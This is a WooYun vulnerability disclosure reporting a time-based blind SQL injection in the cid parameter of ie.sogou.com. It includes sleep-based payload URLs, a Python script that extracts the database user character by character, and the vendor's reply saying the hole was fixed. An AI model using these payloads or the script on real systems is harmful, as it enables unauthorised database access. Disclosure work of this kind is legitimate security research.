当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079385

漏洞标题:搜狗SQL注入3: ie.sogou.com上的MySQL注射

相关厂商:搜狗

漏洞作者: lijiejie

提交时间:2014-10-14 23:27

修复时间:2014-10-18 22:41

公开时间:2014-10-18 22:41

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-14: 细节已通知厂商并且等待厂商处理中
2014-10-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

搜狗SQL注入3: ie.sogou.com上的MySQL注射

详细说明:

注入点:
http://ie.sogou.com/app/?default&api=12&cid=if(0,sleep(0),140)&p=1&route=tools/main/cate_recommend
参数cid未过滤,可注入。
测试:
http://ie.sogou.com/app/?default&api=12&cid=if(length(user())=1,sleep(1),0)&p=1&route=tools/main/cate_recommend
不延迟
http://ie.sogou.com/app/?default&api=12&cid=if(length(user())!=1,sleep(1),0)&p=1&route=tools/main/cate_recommend 延迟
可以判断注入存在。
http://ie.sogou.com/app/?default&api=12&cid=if(length(user())=21,sleep(1),0)&p=1&route=tools/main/cate_recommend 延时
可以判断当前user()长度为21,如图,后端timeout:

sogou_3.png


猜解时乱写的几行python脚本:

import httplib
import time
import string
import sys
import random
import urllib
headers = {
'Cookie': '',
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.']
print 'Current user() is:'
user = ''
for i in range(1,22,1):
for payload in payloads:
# must wait until service is available
wait_tip = ''
while True:
try:
wait_tip = wait_tip + '.'
sys.stdout.write( wait_tip + '\r' )
sys.stdout.flush()
conn = httplib.HTTPConnection('ie.sogou.com', timeout=5)
conn.request(method='GET', url='/app/?default&api=12&cid=0&p=1&route=tools/main/cate_recommend')
start_time = time.time()
conn.getresponse()
conn.close()
if time.time() - start_time < 5:
break # sevice available now
except Exception, e:
pass
try:
conn = httplib.HTTPConnection('ie.sogou.com', timeout=20)
rand_num = str(random.random())
url = '/app/?default&api=12&cid=if(ascii(mid(user(),%s,1))=%s,sleep(1),0)&p=1&route=tools/main/cate_recommend' % (i, ord(payload))
conn.request(method='GET', url=url,
headers = headers)
html_doc = conn.getresponse().read()
conn.close()
except:
user += payload
print 'Now user() is [' + user + '], wait until site recover from last query.'
break
print 'finally, user() is', user


漏洞证明:

测试发现前一次sleep对后续的查询有影响,疑似数据库锁住。需要等待数据库重新苏醒。
脚本每次只取一个字符,等站点恢复可访问,才继续猜解下一个字符。
猜解得到的user()值: setoola@10.*
后端数据库不稳定,只猜到10,后面的字符未猜解。
代码胡乱写的,见谅,仅作个证明。

修复方案:

参数过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-10-18 22:41

厂商回复:

您好,该漏洞已在SGSRC平台提交,并已修复,此处忽略,感谢支持,欢迎到SGSRC平台提交漏洞。

最新状态:

暂无